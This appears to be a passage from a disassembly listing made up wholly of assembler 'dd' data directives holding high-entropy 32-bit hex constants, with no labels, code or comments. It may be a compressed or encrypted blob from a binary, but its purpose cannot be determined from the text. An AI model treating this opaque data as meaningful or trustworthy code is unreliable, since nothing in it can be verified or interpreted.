		dd 43985479h, 0FF6E9100h, 0F4069590h, 8D30F3Fh,	41601735h
		dd 520563FDh, 0E2B29305h, 14C05A98h, 426F75h, 1FD63A0Eh
		dd 0BD3CF6Dh, 0F2B77900h, 4BEA3054h, 887E4808h,	0EE7A5200h
		dd 49AF1E7h, 0B9C1F503h, 0C0B666FBh, 0D2264Ch, 78ABDE53h
		dd 0FD6A692Fh, 9E995800h, 0A6C7EB32h, 12E701FEh, 732D24D0h
		dd 8DC1F830h, 3736970Fh, 0B365C0A0h, 17EBBDEh, 60C91655h
		dd 6009B53Ah, 5000137Ch, 0F7B0A6E6h, 3926219h, 3C7C443h
		dd 27E0EF0Ch, 7C005440h, 0D6DF4A23h, 3EF03746h,	98009520h
		dd 78E07970h, 0EE12B333h, 0D44012C7h, 0F3B63837h, 0A6DC00B9h
		dd 0B17EDF9Eh, 0AD13C2E8h, 0B8409DBEh, 0C3AFEE83h, 0D1D60A92h
		dd 3B0881B9h, 760ED481h, 0E8C67CDAh, 8D0CCA42h,	604ED358h
		dd 95C43B13h, 0CFA57E81h, 0D0357CBBh, 0BCE93BBFh, 1453E20h
		dd 0F0237D89h, 99800119h, 556F2B92h, 0A72E6D30h, 9C011150h
		dd 68D4701Ch, 13F87CC8h, 1FEBF5h, 0CC6FD37Ah, 923BF3D6h
		dd 7D77000Dh, 0FC8CF7FAh, 0F27630CBh, 6D50DD19h, 0C052A400h
		dd 1F9BF64Eh, 38F705D2h, 916EC292h, 0CD18EE48h,	773881D0h
		dd 0AF58F2Ah, 0F4821FF0h, 1B690098h, 0AAC739E6h, 4A00D2F6h
		dd 6D9B6ED8h, 301C0D9h,	0B3EFAF93h, 0BECB9160h,	0DC9E7DF0h
		dd 0A500CFFCh, 0C389A462h, 0FCAA223h, 4CFD6DDFh, 0C1AB8423h
		dd 8573AAB0h, 0A04DDC2Ah, 8012A138h, 0F306CA74h, 0CCAE81FFh
		dd 90219A08h, 0E512AA00h, 182FE27Eh, 0D885009Dh, 0C3716FD0h
		dd 0F300C9FDh, 6D9E1EF8h, 1527AA6h, 1074F43Dh, 97010CECh
		dd 1C009618h, 0D113B073h, 0A0D25D9Ah, 46BE600h,	6D4050ABh
		dd 9476F33h, 862100CEh,	0D0760444h, 28C0D97Eh, 0C4C302B1h
		dd 0EC0F3AFDh, 0C660C47Fh, 0C5233E13h, 9CFB0Bh,	0AE647216h
		dd 0D45C004Eh, 0D9381F16h, 8B014F30h, 0DC0813B1h, 70A425F8h
		dd 7EF50064h, 0BBBCCDBDh, 0A9740A03h, 0F7A6120Dh, 0F2814C0h
		dd 0E5E100B4h, 0A7BAC85h, 0F728B9DDh, 0F4009DC9h, 0F7DBE51h
		dd 0CB2DABh, 0D6563CF6h, 0D5E1D3Bh, 4D80711Eh, 0B5BDDE80h
		dd 25CA21h, 159EEF97h, 0B323E93h, 95B89600h, 5BE99ECh
		dd 0BACD00D4h, 0F698C0E1h, 920023A0h, 9B4B3B24h, 1F1CF17h
		dd 4C2F7BF5h, 0FC5BDDFDh, 1F387A6Eh, 80A53CEDh,	8A18A022h
		dd 0F6162B8Dh, 0E4FD0E9Ah, 0E5E08021h, 2FEB6872h, 944FB500h
		dd 4C641E91h, 2208CC29h, 38005221h, 3179B1B5h, 0A0F1CEh
		dd 119705BAh, 80EDF516h, 666FDC00h, 0DD6B95CBh,	75BE2089h
		dd 61CEE506h, 178345Bh,	687EE483h, 0F8FE69CBh, 703BF626h
		dd 8B7380DFh, 0A5101198h, 1864E223h, 2017BDA6h,	0F8140768h
		dd 0F0204D22h, 8697905Eh, 9F44D200h, 1203A4E0h,	4A3A1DCBh
		dd 72E4035Ch, 0D8E02948h, 490C07F1h, 858DB7Eh, 2621C196h
		dd 0F428A461h, 4A90D7E7h, 0EDB67B00h, 69A59E6Fh, 0E4AC3EF1h
		dd 0F5B40180h, 0AD9F0670h, 625ACC06h, 0A075FDh,	0D65112E4h
		dd 0B72EEB2Fh, 26F3E819h, 21801A08h, 7ED65931h,	0E2057BB5h
		dd 11F3694Eh, 0CDC6B840h
		dd 52839C7h, 0C9DDEDEBh, 33B00051h, 0D6E469E9h,	1A28E861h
		dd 51B17F5Fh, 83F6742Ah, 4FCE9628h, 72401D97h, 303D5861h
		dd 9F2009CBh, 0C4588566h, 0E94E606Fh, 329814F1h, 0D303B87Eh
		dd 0E6CB4972h, 15B5023h, 0EB2CD650h, 32000E26h,	2235D658h
		dd 0A3EA9E08h, 23B06B6Eh, 0F45915h, 0FE5E2CC8h,	70ED9A0Ah
		dd 36A0F30Ah, 0A281F457h, 6EA6A853h, 0D65C1082h, 0C880B5DDh
		dd 0FEE08BE7h, 0F3E87E54h, 646A6818h, 33AD228h,	7DD1F159h
		dd 41B59861h, 0DA86698Ch, 628201Eh, 7E8D4C06h, 4948155Ah
		dd 245094F9h, 2A048C37h, 4FF1D9A4h, 29249462h, 613BD8C0h
		dd 529D5C42h, 0F38B1B0Eh, 69856FE0h, 0F8AA6EE7h, 602FC884h
		dd 234DB52Dh, 0E3088194h, 365800E4h, 8283F8B5h,	1AEB6F00h
		dd 44DAA5D0h, 604A1FE7h, 0FCD97198h, 0D0B8576Ch, 56A64955h
		dd 20E25700h, 6DBCF040h, 0BC545092h, 0F8056ADCh, 0E03E03B8h
		dd 0C9641EFFh, 306035F8h, 0F13BC7A4h, 622243FFh, 0A4682700h
		dd 0EDE9F894h, 0D98B02ADh, 0B98DD73Bh, 8493D084h, 237C08E4h
		dd 8AC339C4h, 7C279594h, 0C219Ch, 0D604B522h, 0CBF14F13h
		dd 26735104h, 0B4C66E94h, 0DD6928C8h, 0F5742A18h, 73BA0084h
		dd 98AA64F8h, 497863CEh, 39ADB601h, 5DB9D20Eh, 0F0643423h
		dd 0A4246021h, 5FF22BDBh, 0E6311F4h, 20A45C1Bh,	1ABB238h
		dd 0CE9E0C68h, 79903E27h, 6E1FD806h, 9810668Ah,	691A0CBFh
		dd 0BB405D52h, 5B0B632Ch, 12215428h, 10060256h,	220474E7h
		dd 4B857E4Eh, 0A05E73h,	249CDB44h, 17EC2D6Ah, 83ED233h
		dd 912102FBh, 438F9D23h, 0EBE8B4E3h, 4CB86DD0h,	87292490h
		dd 2511C4E6h, 23B52B80h, 40913194h, 0C03456C2h,	7FDE118h
		dd 5DB41A95h, 0D0E02C66h, 7104D91Ch, 65985FC3h,	0E9880479h
		dd 80C6F687h, 8D4BB700h, 1A807402h, 8F5AC866h, 0A8974A84h
		dd 0B158Eh, 0C9123430h,	0F8660092h, 7BE22DD5h, 0EAEA4D0Fh
		dd 8ECBC12h, 48B5822h, 0D42E3534h, 42009923h, 0D02DB395h
		dd 217B02C4h, 0E515064Bh, 0A240804Fh, 1382E8BCh, 2711196h
		dd 92CC5B94h, 4E606104h, 0EB2332D6h, 2E071136h,	9D001F30h
		dd 0E2FD8FDEh, 0F7E611h, 8A09894Eh, 91DDF91Eh, 62D7751Fh
		dd 57727F84h, 4C71098h,	0CD6A309Bh, 20F93246h, 969D2F25h
		dd 5E8E6A0Ah, 0B105D0F0h, 242B7EDBh, 8A00EC23h,	450C4828h
		dd 378806A8h, 0C96E5E1Ah, 908B4B2Ah, 0B30A8400h, 3B7B8663h
		dd 259E0045h, 0F50FCCEBh, 0F20982D8h, 16AD690h,	5FB96684h
		dd 91731FD4h, 18F8F180h, 0F2392801h, 904D4DEAh,	28796E14h
		dd 8CEEE8h, 0A22619DDh,	0E65B01C5h, 4BAF970Ch, 3FE18Ch
		dd 0C0502B0Ch, 2C62C903h, 9F3DFD00h, 0CC0FA4BDh, 5EE50263h
		dd 0DF8CEF6Ah, 888274C2h, 29022D7Fh, 0EBD0C468h, 0D6044F18h
		dd 0B6FEEB2Dh, 570F3F2Ch, 0CF20D2D6h, 0F258B43h, 0FC9C94FCh
		dd 66008CECh, 7DA40638h, 9B4DC19h, 5BE67694h, 7E60F418h
		dd 8F445098h, 1A8717E3h, 4C8C41ECh, 0BC94B0AAh,	0DE8070E0h
		dd 6546845Ah, 2ED62201h, 0CB756EBh, 4A348806h, 3BF0D64Fh
		dd 9617075Ch, 0F076789Dh, 0F38ADBF1h, 101E020Ch, 8857901Fh
		dd 54135064h, 0A03F9074h, 2A00F123h, 0FBF69389h, 611301A3h
		dd 0A1A65BD2h, 55E889EFh, 4ABC048Bh, 2D9CDC60h,	0B0256A29h
		dd 9D2426C1h, 0B84057DCh, 3C91020Bh, 0D209C338h, 185C9099h
		dd 39D60823h, 33701EEBh, 8BD6004Bh, 0C94E0D0Bh,	500273CFh
		dd 0A1DDEDCCh, 833440E7h, 0F081D452h, 8EEEE8h, 97590D3Ch
		dd 63DDFB41h, 98EC603Ch, 0B460F5A9h, 733A2465h,	5FE20310h
		dd 4100E895h, 0D2F3D084h, 3FB1BD3h, 0DDEA755Ah,	38033E35h
		dd 2384CEA0h, 0E0D7DBEDh, 0CE1C2FEEh, 6A044B0h,	9DFFE402h
		dd 0D0225Ch, 4B11DA55h,	0E7BC5Dh, 0A896B2A2h, 1B08337Eh
		dd 0FAF5D70Ch, 70A04030h, 5851605Eh, 0A96A10Dh,	37AD7F01h
		dd 5AFAD22Dh, 9F969D0h,	8A4A8581h, 49D9E020h, 7F003680h
		dd 0BFE677CEh, 542FD8h,	0A79C73DBh, 265E9F16h, 0CFE8526Fh
		dd 81E088F9h, 6778396Ah, 5ADACC3Fh, 0C6438B00h,	0F515194Dh
		dd 0BCA5581Eh, 3AE56610h, 98A69B94h, 50B87E48h,	0B2B8820h
		dd 0B3AA8FEAh, 0C4998A9h, 6F886079h, 0D3E08D04h, 20A317C2h
		dd 0B033F0E2h, 7BF930C3h, 4C3C00EFh, 5BDA4BEBh,	94000C97h
		dd 0D81A8679h, 18CC1B5Ch, 0A865AE5Dh, 212015EDh, 0A59E27E7h
		dd 0B908003Dh, 8DE64216h, 28202135h, 6A0096D5h,	814D11C8h
		dd 6A2E9CDDh, 846243D1h, 9D2523C0h, 44B93A87h, 88F81F80h
		dd 0F41D01h, 5FC66463h,	1EFE6ECEh, 0C9D45926h, 2370E700h
		dd 16F2B84Ch, 3A54C545h, 21A23F0h, 0A60C47Ch, 49E04841h
		dd 0ADC000ECh, 5C2E8BF3h, 0DE18EA7Ah, 30244FB1h, 0B940B7B0h
		dd 6501CF0Eh, 0BF241E1h, 80F204EFh, 0F5E02AC8h,	0DBD1C25Ah
		dd 0C06891D3h, 0A524D65Bh, 0EE1830B7h, 0F4C6821h, 56549715h
		dd 9747900h, 0A000F385h, 719AF8D7h, 48EE6DB4h, 0D3090462h
		dd 0F0107323h, 0F904C9FCh, 0B6AA7E76h, 0E100BCA2h, 82B850ABh
		dd 0F2007D65h, 78BA4EA7h, 1D3B93BEh, 4FF32EF1h,	40608849h
		dd 0D9A8D01Ah, 9B7ED700h, 12DA5D1Eh, 0C09876CDh, 0DBB57228h
		dd 66249E43h, 80B848D2h, 73CCC28Eh, 83E5DAEh, 0FAC8E5EDh
		dd 0A1034C00h, 3082470Eh, 5EE9754Ah, 9C045343h,	55EC6C35h
		dd 0ED8BF680h, 0D22400D7h, 0D470CBB0h, 9E1E08C3h, 3F42F3B5h
		dd 0C1B17871h, 0DC506960h, 6341DF03h, 467468E2h, 0DAEAF100h
		dd 697F7D81h, 3DC91E8h,	962265CCh, 204BB001h, 0D7790FCAh
		dd 0E95291F8h, 0C908F0h, 504DD298h, 0DD1F3B57h,	321DD1FEh
		dd 0DC00BD55h, 0A0B6EE7Dh, 0D3F03DBh, 1D91793Eh, 21C20830h
		dd 0A0EE84h, 0E91E42B5h, 0D8D7180Bh, 5DC0F400h,	0D10E7DE0h
		dd 729A0059h, 6773EEAFh, 2D08F265h, 0DCE7E9h, 0A51F3C58h
		dd 220021D5h, 0BBFBBE42h, 2473526Ch, 1B876F5h, 87B8C762h
		dd 60E8F495h, 80C31774h, 0C3D502F0h, 33AECB81h,	0E201160h
		dd 0C95E06A4h, 0A9D01A9h, 9A211E20h, 0D3CAF0ADh, 0D16018C2h
		dd 0B578902Dh, 3FDA08A0h, 0C3643DC5h, 0A0ED405Ch, 760FD348h
		dd 0C5D24A00h, 0E256F04Ch, 61A8C13Dh, 8FD3F3EDh, 2AE7AE31h
		dd 7B3C847Ch, 0CC052107h, 62C380C6h, 6CA9056Fh,	5DDAE3Ah
		dd 40ED3988h, 6FB4BB9Ch, 230086D2h, 0BE5341Ah, 240814h
		dd 79B74FAFh, 2220FDEh,	1D617860h, 738793B0h, 0E1740CFEh
		dd 69087BE6h, 0B82669C7h, 66BBD9D0h, 20E0A1h, 1938D2BEh
		dd 17E9BC0Fh, 0CCA8DCE4h, 0B8008771h, 192E5981h, 0CC1E52BDh
		dd 13A97608h, 0ADB82C2Ch, 14E3EA01h, 21DC1123h,	7E0231ADh
		dd 0D0C78971h, 4D00A679h, 0B7EF9484h, 0A428E9BAh, 0FEB8FA34h
		dd 22864659h, 31140EA9h, 9780D8B8h, 0F439ECF8h,	0B2F90A8h
		dd 0D7408ECh, 0C7DE2C00h, 56913A57h, 0D0EC375Eh, 0D4C5F060h
		dd 481DCD4Bh, 0C7C09B51h, 94821AD7h, 0DC250069h, 54ED2776h
		dd 7D0896D9h, 80E140B4h, 0B6F9DB3Ch, 9B07C876h,	9D3869D4h
		dd 213146h, 0CEFA2322h,	7A66CDC2h, 5409D3F8h, 0EFEE619h
		dd 0BF09D05Ch, 8B01055Eh, 2429F9ECh, 0F3F6110Ch, 0DEF41000h
		dd 51D2BD5Bh, 0F8C1F427h, 9061D9FEh, 42E1881h, 3076E9FAh
		dd 2046329Dh, 37FA1629h, 0E7B67400h, 54D7CC10h,	12DF7112h
		dd 3001EF0Fh, 8893AF14h, 7D8BFE10h, 338063C8h, 49E793B7h
		dd 5BE8291Dh, 3B6C05E8h
		dd 0BFDC40DDh, 0D46459A3h, 4EF0B406h, 6F1F94Ah,	923D4D78h
		dd 0EE4678E3h, 8B93AC02h, 1A3173FEh, 93B43210h,	0E5D3AB0Eh
		dd 0A44EC020h, 0A364C6Ah, 65EEF655h, 5690098h, 0F0211C41h
		dd 0C35EC03Fh, 0CA3045F2h, 0B9DF00D8h, 154FC94Dh, 6C00443Fh
		dd 0F17B374Eh, 38F3286Dh, 12A85773h, 0D25E2A64h, 0EFDF00E4h
		dd 1A152B41h, 0D300128Ch, 5546DD62h, 0CA07134Eh, 118489B0h
		dd 938287E4h, 7483FEC1h, 3888610Ch, 0F89301AAh,	0E07A81CAh
		dd 0E8DDC014h, 22806899h, 0C131272Dh, 0EAE2008Dh, 6F7F594Eh
		dd 7B0066C7h, 0E3AB5BFCh, 3548C85h, 5ECB7D6Ch, 90000BCFh
		dd 39FAAC53h, 0C5F6DCh,	8F8A2A1h, 15C221DDh, 0E0D3672Ch
		dd 3EEA4030h, 587D60F6h, 0F2F8BB7Ch, 990BDE03h,	0EA949154h
		dd 25B8B07Eh, 76E811FAh, 80438838h, 42FA2D1Ch, 0C33BB670h
		dd 49EC83A2h, 0C92E84B1h, 21F85EBEh, 0C68600BCh, 0F6C86B47h
		dd 8948B35Ch, 550E1229h, 5FE83004h, 28C6A8C8h, 0ED49451h
		dd 7343BE3Ah, 10602F36h, 49C0D0F9h, 66DB9D57h, 7B5A0500h
		dd 0E3ADA61Dh, 634675B4h, 726D78DEh, 0E9BBC809h, 8B60B023h
		dd 59AD10B8h, 301FE08Eh, 0B12600B8h, 51D9816Dh,	64C7405h
		dd 0C1562000h, 0FFF7D149h, 49B980C5h, 0ED789F4Eh, 917348DEh
		dd 0D75DD3Bh, 8D74F0Eh,	0DB81F038h, 6718E660h, 157CB05Ch
		dd 94DC9A74h, 11725E08h, 0D66C7E03h, 0C0186D57h, 5BF928h
		dd 50AA5Ch, 0D4B1B60Ch,	4E34482Ah, 0CCEFDCFEh, 390027B2h
		dd 796FA27Dh, 0BDEE36h,	58F23246h, 0AF7BCB8Fh, 4BDB620Eh
		dd 0B803DF9Fh, 80480ACFh, 33A9A6h, 0C1D41AEh, 2C388FBFh
		dd 0E45B641Dh, 2899CAC0h, 7EA6ACBh, 74CBBDEh, 3CD920CCh
		dd 0AC000B0Ch, 71D66708h, 7465C7h, 4D8819ABh, 83AE7625h
		dd 116A3334h, 93E0046Bh, 227C7BA3h, 3B85000h, 0D0AE7284h
		dd 3EC3724Ch, 7F3B922Dh, 973E9383h, 0D9C169CFh,	1429902Ah
		dd 484E6584h, 1354292h,	2F94E822h, 0F642E25Ch, 112BAD11h
		dd 447D950Ch, 22848A58h, 4060090Bh, 8AB06C79h, 1F90703Ah
		dd 8052AA0Fh, 0F28E3C48h, 6C0EB818h, 0A00E7EACh, 171C666Dh
		dd 0F4B702EEh, 152397AEh, 0BA03ABE0h, 0F04AD41Ch, 3FE00100h
		dd 20C569h, 9CEC4D7h, 0AF8D836Ah, 3904F900h, 0F88F0B84h
		dd 70FB0063h, 1A642712h, 5100D10Dh, 0A9799D7Eh,	0E91C3A8h
		dd 0C7398FBh, 8346CC0h,	0FA00E365h, 0EFA1506Dh,	1420CC9Fh
		dd 0C48AE631h, 7F7070h,	89BA6E40h, 1D3A8F39h, 484C5830h
		dd 7672098Ah, 2B00F171h, 0FC1B4EEEh, 0F0104D62h, 7AA96F51h
		dd 54FF0115h, 0BD4814B9h, 58F44024h, 2D001E03h,	9EB8052Eh
		dd 0E14285Fh, 41571FDBh, 7AE2920h, 0A30065EDh, 471ECAA5h
		dd 7B0BF08Ah, 0E40600F7h, 9A7D78AAh, 100E8EAh, 2774AECCh
		dd 736B27Eh, 4131D82Eh,	5F44D049h, 0AD03F5AFh, 463EF477h
		dd 0DC38007Eh, 1D42055Ch, 5E00041Fh, 974CF315h,	0F32BB7Fh
		dd 82675091h, 0F5D0A860h, 0E7008E98h, 0AE2464B7h, 1D463573h
		dd 80CA6588h, 51F8B209h, 0AA008BB6h, 0FD031B16h, 755FE4h
		dd 683C991Ch, 64F18CD3h, 0F3CBBA00h, 0E8FF6D57h, 70A001Fh
		dd 5A14E11Ch, 200030Bh,	94BE38A3h, 4842523Ah, 0F5168C41h
		dd 0BB1407D9h, 9C11F079h, 63006087h, 1705733Ah,	8D959Eh
		dd 0A8D323F5h, 3B82C767h, 0E592870Fh, 42072065h, 1ECDC4FBh
		dd 833722FFh, 0E6D61520h, 0F1F747F8h, 0A159E907h, 1EA0562Ch
		dd 9B686Ah, 28B96C5Ah, 38905788h, 0D03EE900h, 0A4197C82h
		dd 27F6E0h, 5320234Fh, 25ADB88h, 0EC4A9E1Fh, 0CBD44200h
		dd 0EAF860h, 0C5657B90h, 1328D66Bh, 0B1B93E00h,	7DAC419Eh
		dd 3C994812h, 88A0FD3Ch, 0EC047B00h, 65062A7Ch,	2DAF38E2h
		dd 0CA48A01h, 0F8DFD0A6h, 131C349Ah, 0E41F6838h, 0EDC93F80h
		dd 390EA3h, 4E1AFAE8h, 52EC07CFh, 6E0CB007h, 7773A944h
		dd 0E8758060h, 121FE285h, 0B343C9h, 0F4D14408h,	0F900EC3Ch
		dd 0AFD5282Ah, 0C798F6h, 6A3B8F8Ch, 359F31A9h, 0A607F001h
		dd 8851D33Ch, 0DB49E4h,	0F9E07032h, 0BFDF4B63h,	100AC48h
		dd 94B7C7FDh, 0EE4040B6h, 0F848AA15h, 4A1A0E63h, 0B763CE89h
		dd 193E3D39h, 95F280FBh, 19DB0D96h, 1CD742Fh, 0A75CD422h
		dd 0F89E32CBh, 9001DD4Eh, 5F87924Fh, 16C8A5F6h,	3AAC9021h
		dd 0B80006DBh, 681A5642h, 6C7A4FD9h, 204C5400h,	6DA1D82Ah
		dd 7EBDFCACh, 0C47B0017h, 75EB6A05h, 11C04ECCh,	216BED5Ch
		dd 65D1053Eh, 0C0E36428h, 0F0C33F7Eh, 41D7421Ch, 0A79CEC7h
		dd 0C1EEE817h, 0EDD59AA8h, 70DD01C4h, 6BBC0045h, 0DBF63B73h
		dd 1D00E772h, 0F166ECF2h, 60DE088Dh, 0E0B686CEh, 6301774Dh
		dd 0FD210327h, 0E9D0A2E8h, 3BC30065h, 2F8E1DF5h, 0A63516Bh
		dd 0E88A720Ch, 301714B8h, 4EF82378h, 0E43AC171h, 571880BAh
		dd 0D6AD1960h, 0F34B1210h, 512C0086h, 402721C4h, 0FE1456E6h
		dd 0FC8A4Fh, 5E9D3D63h,	38D65Ah, 69819EC9h, 0A15F10CBh
		dd 2EDD4202h, 80F43907h, 8D325184h, 89280077h, 92D404EAh
		dd 663FA2BDh, 977B079Fh, 606075C9h, 0F132B15h, 23F39EEAh
		dd 0CC2DE463h, 0E74CA788h, 0D151641Ch, 9E33F600h, 9B9FB7h
		dd 0C124A4B6h, 775A8F5Fh, 8DBD0804h, 0BC8015FDh, 1286F6A1h
		dd 0EB74B6h, 0E48FAD8h,	400DF3Eh, 0BC7208A5h, 48E4FE43h
		dd 0A43B227Dh, 1279D800h, 574533EDh, 0CB475E1Dh, 0F6511440h
		dd 7C274BAFh, 773400C6h, 0A644E6B4h, 0C75064BEh, 0F300FCE7h
		dd 9FF6863Fh, 0EC9B1A7Fh, 503E0026h, 58C0A0C5h,	0FF0044D3h
		dd 0F5BF7329h, 0A1E7C3h, 8C8BED3Dh, 0F23E91BCh,	20791200h
		dd 0D6BE70C8h, 0ADDB0054h, 394823B6h, 11EC8E92h, 387BE0E2h
		dd 0C5327802h, 409D14F6h, 72CAABh, 0B4C41528h, 0C0302473h
		dd 8F44381Ch, 2D6DA480h, 0D336C3h, 0E5B13E47h, 0D75F74BBh
		dd 0E39F0101h, 49B27FFCh, 1AEC1021h, 0FE241C16h, 66BB80D1h
		dd 0F0921832h, 0BDF4C700h, 5ACA277Ch, 0AAAF00A6h, 52E007EEh
		dd 892890C6h, 0C80108B0h, 0F485608Ah, 0B4603B35h, 942F01E3h
		dd 4F9BC3B4h, 37D4603Eh, 8935BE3Ch, 824EA23Fh, 403995E0h
		dd 585C60h, 0E73C31CAh,	53D9C27Fh, 3E36A416h, 444C5000h
		dd 0FE08C633h, 27E80362h, 4785C530h, 5CA822A8h,	435E6E00h
		dd 0FE4144D7h, 0C5E609D5h, 0AC185725h, 857C3F05h, 0CA3F28B0h
		dd 0F0090F37h, 2EC800BEh, 0E7A5EAh, 40C00A65h, 851C2C34h
		dd 0E4F41100h, 92F0D00Dh, 6090B0h, 0B486EF47h, 0CEAC7EA2h
		dd 0BF42EB00h, 0C1DDA90Ch, 0C99D00A8h, 1084B5Ah, 0A00E1321h
		dd 800DB5B3h, 0EED2EB3Eh, 512300A4h, 0D177ED91h, 5C3ED8F0h
		dd 9A9900A3h, 3A767D95h, 92C00009h, 8321C614h, 1200B797h
		dd 131E1618h, 2E7EEA8h,	0DAC1200Ah, 0E4804D46h,	47B9B5ABh
		dd 8A16327Eh, 0D800A218h, 89DD0495h, 91A8001Ah,	4BCA7BBDh
		dd 0CB30BFA7h, 0A65C3256h, 0AB08A09Bh, 389C0246h, 2537612Eh
		dd 0E86BE480h, 0ED80C272h, 30C90217h, 491C08FFh, 5CE1460h
		dd 0F5BD0200h, 0E63B5DB6h, 0F20F188Bh, 0E5E4216Ch, 839BE83Dh
		dd 46ACD225h, 1F09915Fh, 4FBA310h, 0E279AD75h, 0C1D5Ch
		dd 0EF267F21h, 7F70A69h, 8108CE88h, 0E60506Fh, 84F215C4h
		dd 80C87C00h, 0C66FCD3h, 1801FC47h, 0B822A176h,	6700C324h
		dd 9A327FC2h, 7CE4233Dh, 0F1610063h, 27C5DA01h,	380016CCh
		dd 62FA8145h, 1E4CBC89h
		dd 0A43249A3h, 22051750h, 38C06900h, 0AF00D7ACh, 0F5632A92h
		dd 0E5AE27h, 394A55Dh, 0B216F7F6h, 83776A0Eh, 308F435h
		dd 600F8175h, 1290A907h, 24B53070h, 17504735h, 11EB017Ah
		dd 70C94D9Fh, 0A301C43Ch, 0ABF1186Dh, 3EEC4C1Ch, 7C2B005Fh
		dd 24F057E1h, 227E7782h, 0B8B52900h, 0F79FCB5Eh, 0A04B0493h
		dd 0C2844F2Fh, 98101FECh, 629CA810h, 2A6F009Ch,	45E20D86h
		dd 313C52A0h, 3D03F0D0h, 18BE4115h, 0FF8FB17Fh,	24A170h
		dd 82B46FA4h, 56E467B9h, 0FA1DC80Fh, 2ED54192h,	50706BDEh
		dd 0B8D67930h, 22FC03C0h, 1A827121h, 8AA626F8h,	2A7E3A00h
		dd 1B0694B2h, 0A0AE00A4h, 6DC6F14Fh, 9A0089BAh,	83E7F314h
		dd 0F4E99B74h, 5033E99h, 0F99426h, 0EEC55CC0h, 2600B775h
		dd 96CB8C10h, 3643E6Eh,	0F1FFAEF3h, 0F8042CDFh,	94CC9F6Ah
		dd 0B39CB0h, 7FC7336Ch,	70EBCFABh, 8F1B0301h, 10B0D0F1h
		dd 0E026E2E0h, 0D9D801C1h, 0F84FD15Eh, 0DCFE6132h, 33004599h
		dd 0A6154956h, 0C9DFB1Bh, 22574BA1h, 9000D260h,	0EFC42A1Fh
		dd 79E0EDD3h, 69B8016Eh, 0F2AE48EAh, 870CD17Ch,	277E2E99h
		dd 47A73DD0h, 2D1008Eh,	0AAB6D719h, 703CFBE9h, 0C7980ACh
		dd 93D2CA83h, 30210028h, 401BB8Bh, 2F034F9Ah, 6C1215EDh
		dd 83C0EC72h, 5ABB35Fh,	4BA3049Ch, 0EBECC064h, 0AD792FFFh
		dd 762EA701h, 9641D2EFh, 0CFE0C0h, 4D741678h, 0AD0C80F7h
		dd 1336E60Eh, 909E40CBh, 250BD40Fh, 78877B58h, 57DF628Fh
		dd 55D02040h, 6B50F607h, 8049E733h, 48825F19h, 5AE6B1h
		dd 0B94E9E7Ah, 69F0B6EAh, 4171A07Ch, 26B8E600h,	9BD95D60h
		dd 301A72C9h, 2241F205h, 0B61E5828h, 130C9F8Dh,	54BF90D7h
		dd 0FEE89C37h, 81E30EC2h, 0A5A12D0Ah, 2868FC5Dh, 49DB098Ch
		dd 6A060BEh, 7E1F2A8Eh,	0ED5F00E0h, 6D62904Ch, 0D4F76CCDh
		dd 1F00E23Ch, 4188B6F1h, 2823AFh, 78AD03CFh, 0D28F928Ch
		dd 0A67CEC12h, 68FAAA00h, 373BAC8h, 971C5BBEh, 782869FDh
		dd 1F0F8461h, 0E00AD4DEh, 52E7C5C4h, 78E90086h,	51089BAAh
		dd 0C8A05D1Dh, 9C285B21h, 7C92C649h, 402B2C07h,	80CE0D46h
		dd 0DF347FFBh, 1A8507BAh, 50C27Dh, 0E77E269Dh, 0C3F8C4A8h
		dd 0E39DA07h, 3C006763h, 10EC02CCh, 0C804F1h, 0E9247533h
		dd 0F70B0Ah, 32CCC8Eh, 2D6B7A38h, 439F080Fh, 2A6C2029h
		dd 1EB928h, 0A3BC33F8h,	87185096h, 0CCE0B8A8h, 0A0F449h
		dd 3EB6D652h, 0E8C0A84Bh, 10D0C048h, 0C1B8EB54h, 4C169400h
		dd 0B54A9B66h, 0D628065Fh, 282F40EDh, 0C206D490h, 172E1337h
		dd 0D93900F8h, 2390E0C5h, 0D8A02577h, 9027F2Ah,	31D6338Fh
		dd 1C4354h, 0DE3879D0h,	0C2C77D9Dh, 4CBF3900h, 203F457Ch
		dd 0CCF8A950h, 6B26FC38h, 0C69A02B4h, 2C48AD2Ah, 4202338Bh
		dd 9BDD0B5Ah, 628C8F8h,	85BB26E4h, 945400E7h, 0C9381274h
		dd 0FFA1D7Fh, 65620400h, 39AA80C5h, 0D9F9005Ah,	82F3FFA1h
		dd 0E9056C34h, 7994EC61h, 814CCC49h, 0FE0175B4h, 1B5E798Fh
		dd 0AEBE9360h, 5C407A55h, 321C067Dh, 70A87C85h,	9E000CE2h
		dd 0BF6CEA06h, 1CB5169h, 547A5BF3h, 0E6D36664h,	0D203060h
		dd 3681C506h, 28B0F4h, 3AD87FB4h, 8B9AFA0Bh, 1E86400h
		dd 0BDE62283h, 5553759Eh, 34A7E0BBh, 0E7B82401h, 244570AAh
		dd 0A20ED490h, 72F3Bh, 0F03086C4h, 37E0048h, 0BA890E78h
		dd 6E02695Ah, 0A2971BE9h, 7AE88767h, 0F7BFB650h, 1D8E0028h
		dd 0EC7F17A7h, 0C9001C24h, 9883FC44h, 0CBABDEh,	57ACDB0Ah
		dd 0BB63661Ah, 0E580DF01h, 0A84A797Fh, 1700283Ch, 0A5B21521h
		dd 0F40082D4h, 0BF708098h, 0D2DA27h, 0D034F751h, 0DC160877h
		dd 0E5A52F00h, 0CFC37221h, 5D240083h, 51368B91h, 0FF187B8Dh
		dd 23F84E2Eh, 0A0A21ECFh, 2022005Ah, 0AE64D8DAh, 28244C18h
		dd 0A6CB12h, 7FC572B4h,	0FDBC7392h, 3D28F9B8h, 0A3000874h
		dd 58C953FEh, 0B8198DF9h, 0F050FA2Ch, 0A6F000C3h, 0DAACB6BCh
		dd 8500C532h, 0C17E533Bh, 491496D6h, 0EC3AF428h, 0BE220A80h
		dd 0EDB46EF0h, 0D34D6D00h, 0CD7FB723h, 0D2C0051h, 471AE057h
		dd 0EC0B7117h, 87699072h, 14F2B3C6h, 28184091h,	0BEA80BC7h
		dd 158010FAh, 0D63F57Ah, 407CD200h, 41A751B3h, 9E86Ah
		dd 8558A246h, 477B759Fh, 5F1E44F6h, 0C142E46Dh,	80294CA9h
		dd 0F838EAE8h, 0FD207C5h, 70CC3F1Eh, 4C98DFEBh,	6275CB2Eh
		dd 232ADB00h, 4866E247h, 0D9005BE3h, 79F69C25h,	0EEB80991h
		dd 1FC275Ch, 0D6E9A6B0h, 906404FAh, 485312CAh, 9380055Fh
		dd 102F83F8h, 6F0010EEh, 1C03F29h, 3DE34E7Bh, 0D481469Dh
		dd 89C591FBh, 5F0C70BDh, 0BA771002h, 60B35680h,	2533C6Ch
